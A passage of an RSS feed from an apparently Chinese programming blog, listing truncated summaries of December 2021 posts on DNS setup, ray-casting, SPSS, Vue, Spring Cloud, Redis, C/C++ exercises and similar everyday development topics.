      <link>https://bchobby.github.io/posts/bf8dc08665d560ee106176b55aaf90da/</link>
      <pubDate>Tue, 14 Dec 2021 14:54:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf8dc08665d560ee106176b55aaf90da/</guid>
      <description>PC端使用公共DNS Windows系统&#xA;1. 在电脑右下角的网络图标上单击鼠标右键可以看到&#34;打开网络和共享中心&#34;选项，点击进入设置&#xA;2. 点击左侧的&#34;更改适配器设置&#34;&#xA;3. 在选中的网络连接上单击鼠标右键，选择&#34;属性&#34;&#xA;4. 单击&#34;网络&#34;选项卡。在&#34;此连接使用下列项目&#34;下，选中&#34;Internet 协议版本 4 (TCP/IPv4)&#34;，然后点击&#34;属性&#34;，或者直接双击&#34;Internet 协议版本 4 (TCP/IPv4)&#34;&#xA;5. 勾选&#34;使用下面的DNS服务地址&#34;，然后在&#34;首选DNS服务器&#34;和&#34;备用DNS服务器&#34;框中，键入主DNS服务器地址180.76.76.76和辅助DNS服务器的地址114.114.114.114，点击确定即设置完成&#xA;Linux系统&#xA;1. 以下设置对所用的Linux系统如Redhat/Ubuntu/Debian/CentOS等都有效，但您必须是管理员root或者具有管理员权限&#xA;vim /etc/resolv.conf 2. 在其中加入:&#xA;nameserver 180.76.76.76 nameserver 114.114.114.114 3. 保存退出,使用nslookup或者dig验证是否可以通过180.76.76.76正常解析www.baidu.com&#xA;Mac系统&#xA;1. 单击最左上角的苹果图标，在下拉菜单中点击&#34;系统偏好设置&#34;进入设置&#xA;2. 单击&#34;网络&#34;图标进入网络设置&#xA;3. 从列表中选择相应的网络连接服务，然后单击&#34;高级&#34;选项&#xA;4. 点击DNS的选项卡，然后点击左下角&#34;+&#34;，添加180.76.76.76和114.114.114.114，单击&#34;好&#34;&#xA;5. 返回到上一级，单击&#34;应用&#34;&#xA;6. 在浏览器中测试打开 http://www.baidu.com是否正常</description>
    </item>
    <item>
      <title>射线法判断一个点是否在多边形内部（js版）</title>
      <link>https://bchobby.github.io/posts/0036541fc0ce18f9abcf54634a6b7021/</link>
      <pubDate>Tue, 14 Dec 2021 09:53:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0036541fc0ce18f9abcf54634a6b7021/</guid>
      <description>原理 首先我们先随便画一个多边形，为了避免有特殊性，我就画得随意一点：&#xA;怎么样，够不够复杂刁钻，然后判断一下P这个点在不在多边形里面，你别告诉我用眼睛看，我打不死你哦。&#xA;射线法原理 那到底要怎么办呢，有种方法叫射线法（别问，这方法不是我想出来的），即从P点引出一条射线，看这条射线和多边形相交的次数。&#xA;假如P点在多边形外，那么P点射线和多边形相交情况一定是：&#xA;穿入 -&amp;gt; …(中间可能有N次穿入穿出)… -&amp;gt;穿出，即穿入穿出的次数是偶数次，交点是偶数个。&#xA;假如P点在多边形内，那么P点射线和多边形相交的情况一定是:&#xA;穿出 -&amp;gt; …（后面可能有N次穿入穿出）…，总之最后一定是穿出，交点是奇数个。&#xA;是不是听不懂，我写得也有点晕乎，接下来看图吧：&#xA;一般情况 首先是P点在多边形外：&#xA;要么一个相交点也没有，要么是双数个&#xA;然后是P点在多边形内：&#xA;相交点总共是1个或者奇数个&#xA;特殊情况 因为所有方向的射线都是一样的，所以为了分析方便，我们使用从P点开始的一条水平线作为射线来分析。&#xA;然而还有特殊情况：&#xA;P点在多边形顶点上&#xA;这个还是很好判断，通过对比P的坐标和多边形顶点坐标就可以了&#xA;P点在多边形线段上&#xA;可以求P点射出的射线和线段AB的交点，假如交点的坐标等于P点，那么P点就在多边形的线上&#xA;P点和多边形的交点是顶点&#xA;实际上明眼很容易看出P点不在多边形内或多边形上，但是交点只有A点一个，这样就不符合射线法的判断标准了。因为我们变通一下，判断一下，P点的射线，和AB，AC线段有没有相交，如果相交次数是偶数，就没有在多边形里，相交次数是奇数，就算在多边形里。&#xA;判断线段有没有和射线P相交，只需要判断线段的两个端点是不是在P点两侧，将A点判定为在射线的上侧，那么现在就可以判定，射线P和AB，AC都相交，相交两次为偶数。&#xA;P点的射线刚好经过多边形的一条边&#xA;按照刚刚第三点的解决方案，线段AB的两个顶点都在射线P上侧，所以没有和P相交，射线P和AF,BC线段相交两次为偶数，所以P在多边形外。&#xA;而射线P1，根据第三点的方案，ED两个顶点都在线段上方，所以线段ED没有和P1相交，线段FE，CD也没有和P1相交，相交次数为0，所以P在多边形外。&#xA;P点的射线刚好经过多边形一条边，并且P点在这条边上&#xA;这种情况按照第四点的解析方法会判定成不相交，所以还需要判定一下，假如E点D点P点y坐标相等，同时P点的x坐标在ED的x坐标中间，就可以判定为第五种特殊情况。&#xA;代码解析 原理分析完毕，现在开始撸代码，js版本哦，我只会js了：&#xA;/** * p :[x,y] ,带判定的P点 * poly: [[x0,y0],[x1,y1]......] 多边形的路径 */ function rayCasting(p, poly) { // px，py为p点的x和y坐标 let px = p[0], py = p[1], flag = false //这个for循环是为了遍历多边形的每一个线段 for(let i = 0, l = poly.</description>
    </item>
    <item>
      <title>SPSS配对T检验</title>
      <link>https://bchobby.github.io/posts/4a28f93a82dcbaec308286dc14716f88/</link>
      <pubDate>Mon, 13 Dec 2021 19:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a28f93a82dcbaec308286dc14716f88/</guid>
      <description>参考&#xA;SPSS如何进行配对样本T检验&#xA;SPSS如何验证是否符合正态分布&#xA;问题对象：配对样本T检验用来检验来自两配对总体的均值是否在统计上有显著性。即两总体的均值是否真正存在“差异”，而不仅仅是由于实验对象差异所产生的差异，其实并没有区别的情况。</description>
    </item>
    <item>
      <title>vue中使用Luckysheet实现Excel的导入、在线编辑、导出等功能</title>
      <link>https://bchobby.github.io/posts/c78efeab9daaabbf3361e54897b7f4b2/</link>
      <pubDate>Mon, 13 Dec 2021 17:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c78efeab9daaabbf3361e54897b7f4b2/</guid>
      <description>一、准备阶段 1、在pubilic文件夹下的index.html文件中的head标签中引入Luckysheet的cdn文件&#xA;&amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/plugins/css/pluginsCss.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/plugins/plugins.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/css/luckysheet.css&#39; /&amp;gt; &amp;lt;link rel=&#39;stylesheet&#39; href=&#39;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/assets/iconfont/iconfont.css&#39; /&amp;gt; &amp;lt;script src=&#34;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/plugins/js/plugin.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://cdn.jsdelivr.net/npm/luckysheet@latest/dist/luckysheet.umd.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 2、安装三个依赖（exceljs和 file-saver用来导出，luckyexcel用来处理导入数据 ）&#xA;npm i -S exceljs file-saver luckyexcel 3、创建一个js文件export.js&#xA;import FileSaver from &#39;file-saver&#39; const Excel = require(&#39;exceljs&#39;) var setMerge = function (luckyMerge = {}, worksheet) { const mergearr = Object.values(luckyMerge) mergearr.forEach(function (elem) { // elem格式：{r: 0, c: 0, rs: 1, cs: 2} // 按开始行，开始列，结束行，结束列合并（相当于 K10:M12） worksheet.mergeCells( elem.</description>
    </item>
    <item>
      <title>MATLAB坐标轴主次刻度线问题-xminortick</title>
      <link>https://bchobby.github.io/posts/b1c15c13a48625504e7e144a3078f92f/</link>
      <pubDate>Mon, 13 Dec 2021 15:55:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1c15c13a48625504e7e144a3078f92f/</guid>
      <description>以2000-2018年，每三年一个大刻度，中间每一年为小刻度为例：&#xA;（1）打开次刻度：set(gca,&#39;xminortick&#39;,&#39;on&#39;);&#xA;（2）设置主刻度：set(gca,&#39;XTick&#39;,(2000:3:2018));&#xA;（3）设置次刻度：ax = gca;&#xA;ax.XAxis.MinorTickValues = 2000:1:2018;</description>
    </item>
    <item>
      <title>类方法中的self</title>
      <link>https://bchobby.github.io/posts/abcb82c3e7771d664ea5cdc376c9c8d9/</link>
      <pubDate>Mon, 13 Dec 2021 11:10:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abcb82c3e7771d664ea5cdc376c9c8d9/</guid>
      <description>self class Animal(object):&#xA;def eat(self,food):&#xA;print(f&#34;正在{food}“）&#xA;def sleep(self):&#xA;self.eat(“狗粮”)&#xA;print(“正在玩耍”)&#xA;dog = Animal()&#xA;dog.eat(“粮”)&#xA;这里&#xA;def 关键字&#xA;eat方法名 全部小写&#xA;self 实例对象 就是指的dog&#xA;args 参数&#xA;self 实例对象 就是指的dog&#xA;在sleep实现了类函数内部的嵌套&#xA;当在类外面调用eat时候使用&#xA;dog = Animal()&#xA;dog.eat(“粮”)&#xA;在类方法内调用也需要&#xA;dog.eat(“粮”)&#xA;但是这里是&#xA;self.eat(“狗粮”)&#xA;是因为在没有实例化对象之前不知道是dog，所以用self来替代</description>
    </item>
    <item>
      <title>VINS-Fusion跑kitti stereo及stereo&#43;GPS数据</title>
      <link>https://bchobby.github.io/posts/84c0bb081f597021357adccc864d121e/</link>
      <pubDate>Mon, 13 Dec 2021 02:52:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84c0bb081f597021357adccc864d121e/</guid>
      <description> Stereo&#xA;source ~/vfusion/devel/setup.bash roslaunch vins vins_rviz.launch source ~/vfusion/devel/setup.bash rosrun loop_fusion loop_fusion_node ~/vfusion/src/VINS-Fusion/kitti_odom/kitti_config00-02.yaml source ~/vfusion/devel/setup.bash rosrun vins kitti_odom_test ~/vfusion/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml ~/dataset/kitti/odm/sequences/00 Stereo+GPS&#xA;VINS-Fusion的config文件夹中支持kitti stereo+gps数据的只有09-30和10-03的数据集，在下载数据集的时候要注意一下，下矫正后的数据集。&#xA;修改.yaml文件中的储存路径&#xA;修改kitti-gps-test中结果文件储存格式，去掉每行最后的空格，否则evo评估时会报格式不统一&#xA;打开三个terminal&#xA;source ~/vfusion/devel/setup.bash roslaunch vins vins_rviz.launch source ~/vfusion/devel/setup.bash rosrun vins kitti_gps_test ~/vfusion/src/VINS-Fusion/config/kitti_raw/kitti_09_30_config.yaml ~/dataset/kitti/sync/2011_09_30_drive_0027_sync/ source ~/vfusion/devel/setup.bash rosrun global_fusion global_fusion_node ./Examples/Stereo-Inertial/stereo_inertial_kitti ./Vocabulary/ORBvoc.txt ./Examples/Stereo-Inertial/KITTI05-10.yaml ../slam_data/kitti/sequences/07 ../slam_data/kitti/IMU/2011_09_30/2011_09_30_drive_0027_extract/oxts/data ../slam_data/kitti/IMU/NewTimestamps07.txt </description>
    </item>
    <item>
      <title>C&#43;&#43;:有理数Rational类</title>
      <link>https://bchobby.github.io/posts/bacd54538ca158969eedbdb4e16f6ac3/</link>
      <pubDate>Sun, 12 Dec 2021 17:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bacd54538ca158969eedbdb4e16f6ac3/</guid>
      <description>【问题描述】&#xA;定义一个有理数类Rational。该类存放分数形式的有理数。要求如下：&#xA;（1）定义私有变量x和y分别存放分子和分母。&#xA;（2）定义带默认参数值的构造函数，默认有理数为0（分子为0，分母为1）。&#xA;（3）定义成员函数Add，Sub，Mul和Div，分别用来完成两个有理数的加、减、乘、除运算。&#xA;（4）以X/Y形式打印有理数的Print函数。&#xA;（5）以浮点数形式打印有理数的PrintFloat函数。（说明：分数不需以最简形式存放，四则运算后亦不需约分。主函数中需要你写出输出语句，其中加法和乘法输出X/Y形式结果，减法和除法输出浮点数形式结果，两个分数的分子分母皆由键盘输入）&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Rational { int x,y; //x-分子； y-分母 public: Rational(int X = 0, int Y = 1) { x = X; y = Y; } void Add(Rational r1,Rational r2) { x = r1.x * r2.y + r1.y * r2.x; y = r1.y * r2.y; Print(); } void Sub(Rational r1,Rational r2) { x = r1.x * r2.y - r1.y * r2.</description>
    </item>
    <item>
      <title>Centos7查询开机启动项服务</title>
      <link>https://bchobby.github.io/posts/e210efe6787935daa9e575eab41407f5/</link>
      <pubDate>Sun, 12 Dec 2021 14:48:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e210efe6787935daa9e575eab41407f5/</guid>
      <description>问题描述： 最近安装了zabbix设置了一些开机启动服务&#xA;例如:zabbix-server.service，httpd.service，mariadb.service，或者系统的firework.service&#xA;想知道这些服务开机有没有自启服务，查询了一下网上都讲到chkconfig，但是centos7已不用chkconfig了&#xA;解决方法： 使用 systemctl list-unit-files 可以查看启动项&#xA;左边是服务名称，右边是状态，enabled是开机启动，disabled是开机不启动&#xA;过滤查询可以systemctl list-unit-files | grep enable 过滤查看启动项如下&#xA;过滤查询可以systemctl list-unit-files | grep zabbix 过滤查看某服务名如下&#xA;参考：Centos7查询开机启动项服务 - Tse先生 - 博客园</description>
    </item>
    <item>
      <title>c语言获取文件后缀</title>
      <link>https://bchobby.github.io/posts/5125e68d967a186154f060c28bc4570a/</link>
      <pubDate>Sun, 12 Dec 2021 12:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5125e68d967a186154f060c28bc4570a/</guid>
      <description>#include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; char* filename_suffix(char* filename, char delimit) { int len=strlen(filename); int i; for(i=0; i&amp;lt;len; i++) { if(filename[len-i] == delimit) { return (filename+len-i); } } return NULL; } void main( void ) { char* path = &#34;/home/lhb/share/data/1/10600000.bin&#34;; char *p=strrchr(path, &#39;.&#39;);//倒序查找字符出现的位置，返回地址 printf( &#34;p=%p, filename suffix: %s\n&#34;, p,p+1 ); p=filename_suffix(path, &#39;.&#39;); if(NULL != p) { printf(&#34;def:filename suffix:%s\n&#34;,p+1); } else { printf(&#34;no suffix\n&#34;); } char* path1 = &#34;/home/lhb/share/data/1/10600000&#34;; char *p1=strrchr(path, &#39;.</description>
    </item>
    <item>
      <title>el-select添加表单校验，不起作用问题</title>
      <link>https://bchobby.github.io/posts/6e863656418ad680303ac601de0fdb11/</link>
      <pubDate>Sat, 11 Dec 2021 13:48:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e863656418ad680303ac601de0fdb11/</guid>
      <description>el-select添加表单校验步骤&#xA;1.在el-form中添加rules&#xA;&amp;lt;el-form :inline=&#34;true&#34; :rules=&#34;formRules&#34; :model=&#34;dataForm&#34;&amp;gt; &amp;lt;/el-from&amp;gt; 2.在data中声明formRules，定义要校验的字段&#xA;这里的mrpVersion一定要跟el-form-item中prop字段对应&#xA;data() { return { dataForm: { formRules: { mrpVersion: [ {required: true, message: &#39;MRP版本不能为空&#39;, trigger: [&#39;blur&#39;]} ] }, }; }, &amp;lt;el-form-item :label=&#34;$t(&#39;common.mrpVersionSelect&#39;)&#34; :required=&#34;true&#34; prop=&#34;mrpVersion&#34;&amp;gt; &amp;lt;el-select ref=&#34;mrpVersionSelect&#34; v-model=&#34;dataForm.mrpVersion&#34; :remote-method=&#34;getMrpVersionOptions&#34; clearable/&amp;gt; &amp;lt;/el-form-item&amp;gt; 这个时候发现添加的校验不起作用&#xA;找了很多，最后发现就是一个很简单的设置问题&#xA;把rules里的这条改成：&#xA;{required: true, message: &#39;MRP版本不能为空&#39;, trigger: [&#39;blur&#39;, &#39;change&#39;]} 加一个change之后，就起作用了。如图 完美解决</description>
    </item>
    <item>
      <title>C语言实验课数组整理</title>
      <link>https://bchobby.github.io/posts/17d729367aad1208e14df53ce1c07436/</link>
      <pubDate>Sat, 11 Dec 2021 12:56:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17d729367aad1208e14df53ce1c07436/</guid>
      <description>真的太难了，记录整理一下。&#xA;【10分】A. 实验7-1-1 简化的插入排序&#xA;题目描述&#xA;本题要求编写程序，将一个给定的整数插到原本有序的整数序列中，使结果序列仍然有序。&#xA;输入&#xA;输入在第一行先给出非负整数N（&amp;lt;=10）；第二行给出N个从小到大排好顺序的整数；第三行给出一个整数X。&#xA;输出&#xA;在一行内输出将X插入后仍然从小到大有序的整数序列，每个数字后面有一个空格&#xA;输入样例&#xA;5&#xA;1 2 4 5 7&#xA;3&#xA;输出样例&#xA;1 2 3 4 5 7&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int n=0; int t=0; int a[11]={0}; //先将数字存入数组a之中 scanf(&#34;%d&#34;,&amp;amp;n); for(int i=0;i&amp;lt;n;i++) { scanf(&#34;%d&#34;,&amp;amp;a[i]); } //再将要插入的数字存到数组a最后一个元素中 scanf(&#34;%d&#34;,&amp;amp;a[n]); //选择排序：将a[i]与数组a后面的各个元素一一对比，将较小的数调到左边，随着i的增加实现移到下一位，连续将较小的数调到左边 for(int i=0;i&amp;lt;=n;i++) { for(int j=i+1;j&amp;lt;=n+1;j++) { if(a[i]&amp;gt;a[j]) { t=a[i]; a[i]=a[j]; a[j]=t; } } } //遍历数组并输出 for(int k=0;k&amp;lt;=n;k++) { printf(&#34;%d &#34;,a[k]); } return 0; } 【20分】B.</description>
    </item>
    <item>
      <title>C&#43;&#43;:周期串</title>
      <link>https://bchobby.github.io/posts/35770e46064a0b0c2b9890154e71a2c3/</link>
      <pubDate>Fri, 10 Dec 2021 21:26:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35770e46064a0b0c2b9890154e71a2c3/</guid>
      <description> 【题目描述】&#xA;如果一个字符串可以由某个长度为k的字符串重复多次得到，我们说该串以k为周期。 例如，abcabcabcabc以3为周期（注意它也以6和12为周期）。&#xA;输入一个长度不超过80的串，输出它的最小周期。&#xA;----------------------------------------------------------------------&#xA;非常简单好玩的题，我快要爱上string了，比char *；char [];好用太多了&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main() { string s; int i = 0; getline(cin,s); char c = s[0]; //周期串的第一个字符保存在c中 int n = s.length(); for(i = 1; i &amp;lt; n; i++) //注：从1开始找， { //因为它是周期串，只要确定首尾相等即可 if(s[i]==c &amp;amp;&amp;amp; s[i-1]==s[2*i-1]) break; } cout&amp;lt;&amp;lt;i&amp;lt;&amp;lt;endl; return 0; } </description>
    </item>
    <item>
      <title>Spring cloud stream【消息分区】，nginx负载均衡原理</title>
      <link>https://bchobby.github.io/posts/67d4ef9531dbadf57031b170b7475ab1/</link>
      <pubDate>Fri, 10 Dec 2021 16:56:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67d4ef9531dbadf57031b170b7475ab1/</guid>
      <description>创建项目&#xA;将我们上篇文章中的分组的三个项目，拷贝一份修改名称及服务名称&#xA;没有分区的情况下演示&#xA;发送多条消息查看效果&#xA;@RunWith(SpringRunner.class)&#xA;@SpringBootTest(classes=StreamSenderStart.class)&#xA;public class StreamTest {&#xA;@Autowired&#xA;private ISendeService sendService;&#xA;@Test&#xA;public void testStream(){&#xA;Product p = new Product(999, “stream test …999”);&#xA;// 将需要发送的消息封装为Message对象&#xA;Message message = MessageBuilder&#xA;.withPayload§&#xA;.build();&#xA;for (int i = 0; i &amp;lt; 10; i++) {&#xA;// 发送多条消息到队列中&#xA;sendService.send().send(message );&#xA;}&#xA;}&#xA;}&#xA;10条消息被随机的分散到了两个消费者中:&#xA;我们可以看到A中6条消息，B中4条消息，而且这是随机的，下次执行的结果肯定不一样。&#xA;分区&#xA;1.发送者中配置 spring.application.name=stream-partition-sender&#xA;server.port=9060&#xA;#设置服务注册中心地址，指向另一个注册中心&#xA;eureka.client.serviceUrl.defaultZone=http://dpb:123456@eureka1:8761/eureka/,http://dpb:123456@eureka2:8761/eureka/&#xA;#rebbitmq 链接信息&#xA;spring.rabbitmq.host=192.168.88.150&#xA;spring.rabbitmq.port=5672&#xA;spring.rabbitmq.username=dpb&#xA;spring.rabbitmq.password=123&#xA;spring.rabbitmq.virtualHost=/&#xA;对应 MQ 是 exchange outputProduct自定义的信息 spring.</description>
    </item>
    <item>
      <title>Vue项目中的配置及配置文件</title>
      <link>https://bchobby.github.io/posts/65ae8c7534dbdcbcd0b35f3cc1d139c3/</link>
      <pubDate>Fri, 10 Dec 2021 16:18:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65ae8c7534dbdcbcd0b35f3cc1d139c3/</guid>
      <description>环境变量 .env文件 访问&#xA;现在的前端项目都是用 Node 来作为辅助开发工具，而 process 是 Node.js 中的 一个全局变量，提供来有关当前 Node.js 进程的信息并对其进行控制。而 process 中的 env 则是返回包含用户环境的对象。&#xA;通俗点说，就是可以通过 process.env 拿到当前项目运行环境的信息。&#xA;console.log(&#34;环境变量：&#34;,process.env) .env文件&#xA;VUE_APP_URL = 127.0.0.1:9088 从控制台可以看到，process.env是一个对象，BASE_URL 和 NODE_ENV属性是默认属性，比较常用的是NODE_ENV 用来判断当前的环境&#xA;文件名&#xA;项目中env文件挺多的，常见的有.env、.env.local、.env.development 、.env.production&#xA;.env 在所有环境中被载入.env.local 在所有的环境中被载入，但会被git忽略.env.[mode] 在指定的环境被载入，比如.env.development 开发环境中被载入.env.[mode].local 在指定的模式中被载入，但是会被git忽略 一般开发时修改一些东西，比如ajax请求地址，在.env.local里进行修改&#xA;定义属性，及注释&#xA;属性名必须以VUE_APP_开头，比如 VUE_APP_PROJECT_NAME&#xA;注释必须是 # 开头，后面跟要注释的内容&#xA;文件加载&#xA;这么多的文件，那项目启动时会加载哪一个文件？这个与启动命令有关，可以看一下package.json文件&#xA;&#34;scripts&#34;: { &#34;serve&#34;: &#34;vue-cli-service serve&#34;, &#34;serve-prod&#34;: &#34;vue-cli-service serve --mode prod&#34;, &#34;build&#34;: &#34;vue-cli-service build&#34;, &#34;build-prod&#34;: &#34;vue-cli-service build --mode prod&#34;, }, 当你运行npm run serve 会加载.</description>
    </item>
    <item>
      <title>Java中操作redis实践_03</title>
      <link>https://bchobby.github.io/posts/7f7e2688649b89c6b704372802e50e57/</link>
      <pubDate>Fri, 10 Dec 2021 11:27:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f7e2688649b89c6b704372802e50e57/</guid>
      <description>Redis 客户端 概述 Redis 是一种C/S 架构的分布式缓存数据库，它有自带的命令行客户端，也有对应的Java或其它语言客户端，可以在这些客户端中通过一些API对redis进行读写操作。&#xA;准备工作 第一步：创建工程。&#xA;创建maven父工程，例如03-redis,并在此工程下创建两个子工程，一个为sca-jedis,一个为sca-tempate,例如：&#xA;第二步：添加父工程依赖&#xA;修改父工程pom.xml文件，添加编译配置&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;source&amp;gt;8&amp;lt;/source&amp;gt; &amp;lt;target&amp;gt;8&amp;lt;/target&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; Jedis的基本应用 简介 Jedis是Java中操作redis的一个客户端，类似通过jdbc访问mysql数据库。&#xA;准备工作 在sca-jedis 工程添加如下依赖&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;redis.clients&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jedis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.12&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.code.gson&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;gson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.8.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependencies&amp;gt; Jeids基本应用实践 在Jedis工程中的src/test/java目录创建单元测类,例如:&#xA;package com.jt; import org.junit.Test; import redis.clients.jedis.Jedis; import java.util.concurrent.TimeUnit; public class JedisTests { @Test public void testGetConnection(){ //假如不能连通,要注释掉redis.conf中 bind 127.0.0.1, //并将protected-mode的值修改为no,然后重启redis再试 Jedis jedis=new Jedis(&#34;</description>
    </item>
    <item>
      <title>d2lzh_pytorch包报错问题</title>
      <link>https://bchobby.github.io/posts/ebeb49017e0cbf2e06c2a37d372e7d2f/</link>
      <pubDate>Fri, 10 Dec 2021 10:49:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebeb49017e0cbf2e06c2a37d372e7d2f/</guid>
      <description> d2lzh_pytorch包报错问题解决 报错： ModuleNotFoundError: No module named ‘d2lzh_pytorch’&#xA;d2lzh_pytorch包中找不到名为’xxx’的属性/函数，如&#xA;module &#39;d2lzh_pytorch&#39; has no attribute &#39;use_svg_display()&#39; module &#39;d2lzh_pytorch&#39; has no attribute &#39;load_data_fashion_mnist&#39; 解决方法： 方法1、放到Jupyter工作目录 下载d2lzh_pytorch文件夹，将其放置到当前Jupyter的工作目录的根目录中即可 方法2、放到虚拟环境的包安装目录 下载d2lzh_pytorch文件夹，将其放置到anaconda虚拟环境的包路径下，如：Anaconda/envs/pytorch(虚拟环境名)/Lib/site-packages/注释代码中的sys.path.append(&#34;…&#34;)，使其从site-packages中找到d2lzh_pytorch包并引入 </description>
    </item>
    <item>
      <title>vue-devtools（vue2和vue3） 安装总结（google浏览器上安装的）</title>
      <link>https://bchobby.github.io/posts/3b785988d0fb4283dc9f461ce273c729/</link>
      <pubDate>Fri, 10 Dec 2021 10:07:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b785988d0fb4283dc9f461ce273c729/</guid>
      <description>方法一：直接从谷歌应用商店安装（vue官网有给链接，我这边不能翻墙，我没用）&#xA;https://v3.cn.vuejs.org/guide/installation.html#vue-devtools&#xA;方法二：从github上下载安装&#xA;1、从github上下载安装包（链接：https://hub.fastgit.org/vuejs/devtools/tree/main）&#xA;不知道为啥我直接下载下来的，运行npn run build 会报错，找了半天没找到解决办法&#xA;然后我从这里点进去下载的压缩包，解压之后，运行npm run build 就可以了（好奇怪，不知道是我哪里没有搞好，知道的大佬可以指正一下，谢谢！）&#xA;2、把下载下来的压缩包解压，点进去安装依赖执行npm install（我是用yarn安装的，npm太慢），安装完成之后执行npm run build&#xA;3、然后把插件添加进浏览器就行了，添加选中的文件路劲：&#xA;添加成功以后遇到的问题：&#xA;Vue.js is detected on this page.&#xA;Devtools inspection is not available because it&#39;s in production mode or explicitly disabled by the author.&#xA;解决办法：在入口文件（main.ts）添加&#xA;这样就成功了，打开控制台，发现工具栏没有vue,（按F5+F12，我是这样的），就出来了&#xA;在vue2就可以用了，但是在vue3不能用&#xA;vue3 要下载对应版本的bate版才行（但是我还没自己安装打包成功，导入都报错，搞不好，以后搞好了再更新吧，我用的别人封装好的ctx文件），文件链接：Vue.js Devtools_6.0.0.20_chrome扩展插件下载_极简插件&#xA;添加成功了&#xA;而且vue3对应的devtools也还在测试中</description>
    </item>
    <item>
      <title>springcloud微服务（九）-服务发现Discovery</title>
      <link>https://bchobby.github.io/posts/e0a66d1b77798396a556d5dc5e12c850/</link>
      <pubDate>Fri, 10 Dec 2021 09:58:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0a66d1b77798396a556d5dc5e12c850/</guid>
      <description>Discovery功能：&#xA;对于注册进Eureka里面的微服务，可以通过服务发现来获取服务的信息。此处以payment8001为例。payment8002与payment8001一样。&#xA;1. 修改cloud-prodvider-payment8001的controller。 @RestController @Slf4j public class PaymentController { @Autowired private PaymentServices paymentServices; @Value(&#34;${server.port}&#34;) private String serverPort; @Autowired private DiscoveryClient discoveryClient;//服务发现，就是展示服务的一些信息 @GetMapping(&#34;/payment/get/{id}&#34;) public CommonResult&amp;lt;Payment&amp;gt; getPaymentById(@PathVariable(&#34;id&#34;) Long id) { Payment payment=paymentServices.getPaymentById(id); log.info(&#34;********查询结果*********：&#34;+payment); if(payment != null) { return new CommonResult&amp;lt;&amp;gt;(200,&#34;查询数据成功,serverport:&#34;+serverPort,payment); }else { return new CommonResult&amp;lt;&amp;gt;(444,&#34;查询到对应的记录，查询ID：&#34;+id); } } @PostMapping(&#34;/payment/create&#34;) public CommonResult addPayment(@RequestBody Payment payment) { int result = paymentServices.addPayment(payment); log.info(&#34;******插入结果：&#34;+result); if(result&amp;gt;0) { return new CommonResult(200,&#34;插入成功&#34;); }else { return new CommonResult(445,&#34;插入失败&#34;); } } @GetMapping(&#34;</description>
    </item>
    <item>
      <title>Python &#43; selenium 元素定位（五）-----css selector 的高级用法</title>
      <link>https://bchobby.github.io/posts/4dc05c3797390609df95ec1872cff5d2/</link>
      <pubDate>Fri, 10 Dec 2021 09:06:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dc05c3797390609df95ec1872cff5d2/</guid>
